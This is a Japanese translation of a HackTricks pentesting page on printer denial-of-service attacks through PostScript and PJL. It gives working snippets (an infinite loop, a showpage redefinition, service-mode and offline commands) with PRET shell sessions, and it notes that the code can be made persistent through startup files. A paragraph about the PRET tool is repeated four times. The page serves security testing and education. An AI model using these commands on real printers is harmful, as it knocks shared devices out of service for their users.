hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
2023-07-07 23:42:27 +00:00

144 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
ページの説明言語は、無限ループや多くの計算時間を必要とする計算を許可しています。[PCL](http://hacking-printers.net/wiki/index.php/PCL)のようなミニマリストな言語でも、利用可能なメモリが消費されるまで、永続的なマクロやフォントのアップロードに使用することができます。
# PostScript
## 無限ループ
```
%!
{} loop
```
[PRET](https://github.com/RUB-NDS/PRET)を使用すると、以下のようなことができます:
- プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
- プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
- プリンターから印刷ジョブをキャプチャする
- プリンターのメモリをダンプする
- プリンターのファームウェアをアップロードする
- プリンターのファームウェアをリバースエンジニアリングする
PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
## `showpage` の再定義
`showpage` を何もしないように設定することで、実際にページを印刷するためにすべてのドキュメントで使用される `showpage` が何も印刷しないようになります。
```
true 0 startjob
/showpage {} def
```
[PRET](https://github.com/RUB-NDS/PRET)を使用すると、以下のようなことができます:
- プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
- プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
- プリンターから印刷ジョブをキャプチャする
- プリンターのメモリをダンプする
- プリンターのファームウェアをアップロードする
- プリンターのファームウェアをリバースエンジニアリングする
PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
```
両方の攻撃コードは、書き込み可能なディスクを持つデバイスに対して**永続的なDoS**を引き起こすために、Sys/Start、startup.psなどのファイルにも書き込むことができます。
# PJL
## PJL jobmedia
プロプライエタリなPJLコマンドを使用すると、以下に示すように、LaserJet 4kシリーズなどの古いHPデバイスをサービスモードに設定し、すべての印刷機能を完全に無効にすることができます。
```
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
```
[PRET](https://github.com/RUB-NDS/PRET)を使用すると、以下のようなことができます:
- プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
- プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
- プリンターから印刷ジョブをキャプチャする
- プリンターのメモリをダンプする
- プリンターのファームウェアをアップロードする
- プリンターのファームウェアをリバースエンジニアリングする
PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
```
## オフラインモード
さらに、PJL標準では、`OPMSG`コマンドが定義されており、これは「プリンタに指定されたメッセージを表示させ、オフラインにする」ためのものです\cite{hp1997pjl}。以下に示すように、これを使用して紙詰まりをシミュレートすることができます。
```
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
```
[PRET](https://github.com/RUB-NDS/PRET)を使用すると、以下のようなことができます:
- プリンターの状態を取得する(モデル、シリアル番号、トナーの残量など)
- プリンターの設定を変更する(デフォルトのパスワードの変更、ネットワーク設定の変更など)
- プリンターから印刷ジョブをキャプチャする
- プリンターのメモリをダンプする
- プリンターのファームウェアをアップロードする
- プリンターのファームウェアをリバースエンジニアリングする
PRETは、プリンターの脆弱性を利用して、機密情報の漏洩やネットワークへの侵入を行うためのツールです。プリンターは通常、ネットワークに接続されており、セキュリティ対策が不十分な場合があります。PRETを使用することで、プリンターの脆弱性をテストし、セキュリティ上のリスクを特定することができます。
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
**これらの攻撃について詳しくは**[**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing) **を参照してください**
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか** または、**PEASSの最新バージョンにアクセスしたいですか** **またはHackTricksをPDFでダウンロードしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **を発見しましょう**、**独占的なNFTのコレクション**です[**NFTs**](https://opensea.io/collection/the-peass-family)
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>